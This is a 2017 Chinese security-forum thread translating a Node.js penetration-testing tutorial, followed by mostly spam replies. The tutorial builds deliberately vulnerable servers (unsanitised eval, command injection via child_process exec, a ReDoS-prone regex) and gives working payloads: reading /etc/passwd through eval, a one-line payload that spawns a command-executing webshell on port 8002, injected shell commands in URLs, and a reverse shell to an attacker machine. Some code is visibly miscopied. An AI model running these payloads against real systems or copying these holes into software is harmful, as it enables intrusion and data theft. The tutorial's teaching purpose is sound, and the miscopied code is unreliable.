用户
搜索
  • TA的每日心情
    奋斗
    2020-11-27 14:50
  • 签到天数: 77 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    31

    主题

    198

    帖子

    1164

    魔法币
    收听
    0
    粉丝
    11
    注册时间
    2015-12-29

    幽默灌水王春秋游侠积极活跃奖限定版春秋段子手i春秋签约作者春秋文阁

    发表于 2017-7-15 22:42:11 1927066
    本帖最后由 prison 于 2017-8-4 21:31 编辑

    PentestingNode.js Application : Nodejs Application Security
    由prison翻译整理,首发i春秋。
    引言:
    由于原文地址在墙外,所以做下简介:
    本篇文章较为详细的讲述了通过node.js的已知漏洞来完成渗透测试的过程,介绍了node.js存在的漏洞可以在多种工具下的不同利用方式。因为我认为会对论坛部分web安全新手有所帮助,所以整理到论坛中。难度系数:三颗星。

    关于Node.js的介绍我们这里就不再赘述。

    今天我们主要讲下Node.js的一些可以对渗透测试工作有一些帮助的漏洞。为了更好地让大家理解,我会对其中一些代码进行分
    析。
    1  你可以很容易的从网络上下载并安装Node.js到自己的电脑
    2  在我们的事例中我使用了Node.js的一个框架Express,你可以把它安装到自己的电脑


    创建一个目录,我这里命名为nodeapp
    [AppleScript] 纯文本查看 复制代码
    $ mkdir nodeapp
    $ cd nodeapp

    用npm init 命令为你的项目创建一个package.json文件。

    1.png

    这个命令会询问你一些像是项目名称,版本之类的问题,你可以一直按回车键选择默认。

    现在在nodeapp目录下安装Express
    [AppleScript] 纯文本查看 复制代码
    $npm install expres –save

    2.png

    你也可以选择临时安装express,而不将它添加到依赖项列表中。
    [AppleScript] 纯文本查看 复制代码
    $npm install express
     
    Eval()函数很危险
    远程代码执行(利用服务器端JavaScript注入)【JavaScript任意代码执行】

    eval()是一个危险的函数,任何输入都可以通过它执行,形成一种远程命令执行场景,程序可以越权执行。
    示例1:
    [AppleScript] 纯文本查看 复制代码
    var x = 2;
    var y = 2;
    var z = '10'';
    eval('x + y + 6'); // returns 10
    eval(z);           // returns 10
     
    Both eval() will return value 10.
    示例2:

    v
    [AppleScript] 纯文本查看 复制代码
    ar express = require('express');[/align]var app = express();
    app.get('/', function(req, res) {
     var resp=eval("("+req.query.input+")");
     res.send('Output</br>'+resp);
    });
    app.listen(8001);
     
    [codeexe.js]

    3.png
    如你所见,显然eval函数从输入参数中获取输入,而不需要转义或过滤直接传递给eval()。这是一个很常见的典型的例子。
    用户可以通过将代码传递给输入参数来利用这个漏洞。
    首先我们启动我们的js代码
    [AppleScript] 纯文本查看 复制代码
    node filename.js
    node codexe.js

    4.png

    如果你启动时看到一些错误,可能是其他正在运行的服务占用了端口,所以首先我们要用ps命令找到这些服务。

    5.png

    kill掉pid为2959的codexe.js

    6.png


    我们接着启动js代码

    7.png

    首先,我们将一个简单的用户输入传递给我们代码中的输入参数:http://127.0.0.1:8001/?4444441111

    8.png
    我们用一些关于Node.js代码执行的payload
    [AppleScript] 纯文本查看 复制代码
    process.arch
    process.argv
    process.argv0
    process.channel
    process.cwd()
    process.geteuid()
    process.getegid()
    process.getgroups()
    process.pid
    process.platform
    process.version

    丢到Burp的Intruder:

    9.png
    导入我们的payload

    10.png

    从爆破结果来看,我们可以发现其中一个叫做process.cwd()返回了当前目录值"/Users/narendrabhati/Node JS Pentesting”

    11.png
    确认之后,我们就可以在文件中做一些我们想做的坏事啦~

    http://127.0.0.1:8001/?input=res.end(require('fs').readFileSync('/etc/passwd').toString())

    12.png

    现在我们搞一个简单的webshell,像PHP shell那样婶儿的,你可以在其中执行/注入系统命令。

    下面的payload将会启动一个新的服务器,或者在八秒后你可以在8002端口上找到一个新的node.js应用。让我们搞点花样出来:
    [AppleScript] 纯文本查看 复制代码
    setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)
    13.png
    8秒之后你可以通过cmd进行命令执行、

    14.png
    反向连接Reverse Shell
    要获得一个反向shell,我们可以使用nodejsshell.py你可以在这里找到python脚本
    该脚本将根据攻击者ip和攻击者本地端口创建一个js代码。
    当您与node js应用程序有直接连接时,或者两者都在同一个网络中,这就非常方便了。
    下面我用Kali机器192.168.131.134测试了成功Ping,然后运行了nodejsshell.py我的kali机器ip地址为192.168.131.134,端口4444。
    15.png
    我的kali在等待连接4444端口:
    16.png
    我通过nodejsshell.py在这个项目中注入代码:
    17.png
    然后我的kali得到了一个反向shell
    18.png
    2)远程操作系统命令执行

    类似于远程代码执行(利用服务器端JavaScript注入),这个漏洞也允许攻击者执行任意的命令执行。关键的区别在于,这个漏洞

    的出现是因为由于使用了不安全的允许在系统间进行交互的exe.exec造成的。

    [nodejsrce.js]
    [AppleScript] 纯文本查看 复制代码
    var http = require("http");
    var url = require("url");
    var exe = require('child_process');
    http.createServer(function(request, response)
     {
      var parsedUrl = url.parse(request.url, true);
      response.writeHead(200, {"Content-Type": "text/html"});
    exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data)
     {
      response.write("RCE-DEMO " + data);
     });
     }).listen(8005);
    19.png

    通过查看源代码,我们可以说,exe。exec通过注入参数接受用户输入,而不需要过滤或转义用户输入。因此,用户/攻击者可以注入任何允许他执行nodejs远程OS命令执行的值。
    下面是我们的应用程序ping命令示例。
    20.png
    我不打算将命令执行的基础知识,你可以在网络上找到关于命令执行的文章。

    我们构造出一个典型的命令执行url:
    http://127.0.0.1:8005/?inject=google.com; ls
    21.png

    我们可以同时传递多个命令:

    http://127.0.0.1:8005/?inject=google.com ; whoami ; pwd ; ls-al

    22.png
    3) RegExp DOS 漏洞
    正则表达式拒绝服务(ReDoS)是拒绝服务攻击,它利用了一个事实,即大多数正则表达式实现可能会到达极端情况,导致它们的工作非常缓慢(与输入大小相关)。然后,攻击者就可以使用正则表达式来执行一个程序,从而进入这些极端情况,然后挂起很长一段时间
    在短时间内,攻击者可以通过发送大量假数据来滥用正则表达式验证,这使得应用程序消耗大量服务器资源,从而导致其他用户无法获得服务/应用程序的可用性。
    [ nodejsregexp.js]
    [AppleScript] 纯文本查看 复制代码
    var http = require("http");
    var url = require("url");
    http.createServer(function(request, response)
    {
    starttime = process.hrtime();
    var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
    var parsedUrl = url.parse(request.url, true);
    response.writeHead(200, {"Content-Type": "text/html"});
    response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email ));
    response.write("</br>Server Response Time: " + process.hrtime(starttime));
    response.end();
    }).listen(8006);
     
    在输入var emailExpression= /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;之后,容易受到DOS攻击,攻击者可以将大量的输入传递给应用程序。导致服务/应用程序不可用。
    [AppleScript] 纯文本查看 复制代码
    http://127.0.0.1:8006/?email=narealshdlhasldhlashkldhalshdlkahslkdhklashldhalkshdklahskldhklashkldhaklshdklhalshdlahslhdhasklkhdlkahdndra.bhagdkjgkasgkdgakjsgdjkgaskgdjkagskdgjkasgjkdgjasgdgjkasgjdgjaksgjkdgjaksgkdgjaksjkgdgjaksjgkdgajksgdjkagjskdgjkajsgkdgjkasjgkdadati@websasdasdaksdgakjsgdkgajksgdjkagsjkdgajkgdjkagksdgjkasgjkdgjasjkdjkagjkdgagkasjdadecgeeks.caskdhahldkhalkshdklahsldhklashdlhaklshdlahsldhlkahsdhlashdhaklshdhaklshdklahslhdkahsdhkahsldhaskhldhalshdhlashdasdom%%%%////
    这样大量的输入将会导致应用程序大量消耗服务器资源。

    23.png

    4 ) Brute Force/Rate LimitProtection
    在对node js应用程序进行测试时,总是寻找可以执行暴力/wordlist攻击的端点。例如:
    A)忘记了密码表单:尝试枚举现有的用户
    B)OTP-OTP主要用于密码重置,移动验证,创建帐户
    C)密码重置代码:有时密码重置令牌可能存在爆破可能。
    5)NPM
    现有的npm包可能有一些存在的漏洞。现在Node安全项目对此进行了补救。
    使用NSP工具,我们可以查找现有的漏洞。
    以下命令将安装nps。
    [AppleScript] 纯文本查看 复制代码
    npm i nsp –g
    nsp check module-name-to-audited[检查是否有漏洞]
    或者是
    [AppleScript] 纯文本查看 复制代码
    nsp module-name-to-audite.json
    6)自动扫描
    我们可以使用NodeJSScan进行自动化的漏洞扫描。



    评分

    参与人数 1积分 +1 魔法币 +1 收起 理由
    0nise + 1 + 1 鼓励转贴优秀软件安全工具和文档!.

    查看全部评分

    本帖被以下淘专辑推荐:

    发表于 2017-8-17 21:55:16
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    100
    从基本的安装,到最后的获取权限,内容很完整,不错。


    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    发表于 2017-8-17 21:56:22
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    50
    从基本的安装,到最后的获取权限,内容很完整,不错。


    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2017-7-28 22:24:32
    boot 发表于 2017-7-21 21:32
    感谢楼主的友好翻译,但是我发现您有好几处代码复制错了或者漏了

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2017-7-28 22:23:29
    boot 发表于 2017-7-21 21:32
    感谢楼主的友好翻译,但是我发现您有好几处代码复制错了或者漏了

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2017-7-28 22:25:26
    wyldlmu 发表于 2017-7-16 08:10
    我只能抢个地板蜡

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2017-7-28 22:24:56
    wyldlmu 发表于 2017-7-16 08:10
    我只能抢个地板蜡

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2017-7-28 22:23:49
    wyldlmu 发表于 2017-7-16 08:10
    我只能抢个地板蜡

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2017-7-28 22:25:19
    prison 发表于 2017-7-15 22:43
    沙发留给自己。。

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    发表于 2017-7-15 22:43:42
    沙发留给自己。。
    使用道具 举报 回复
    发表于 2017-7-16 08:10:47
    我只能抢个地板蜡
    使用道具 举报 回复
    发表于 2017-7-18 11:50:13
    仰望高端玩家!
    使用道具 举报 回复
    发表于 2017-7-21 21:32:24
    感谢楼主的友好翻译,但是我发现您有好几处代码复制错了或者漏了

    评分

    参与人数 1积分 +10 魔法币 +10 收起 理由
    prison + 10 + 10 感谢关注,具体能指出下吗?

    查看全部评分

    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    14#
    发表于 2017-7-28 22:23:37
    P105 发表于 2017-7-18 11:50
    仰望高端玩家!

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    15#
    发表于 2017-7-28 22:23:58
    prison 发表于 2017-7-15 22:43
    沙发留给自己。。

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    16#
    发表于 2017-7-28 22:24:08
    P105 发表于 2017-7-18 11:50
    仰望高端玩家!

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    17#
    发表于 2017-7-28 22:24:48
    P105 发表于 2017-7-18 11:50
    仰望高端玩家!

    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    18#
    发表于 2017-7-28 22:25:09
    66666666666666666666666666
    行动比空谈更具有说服力!
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册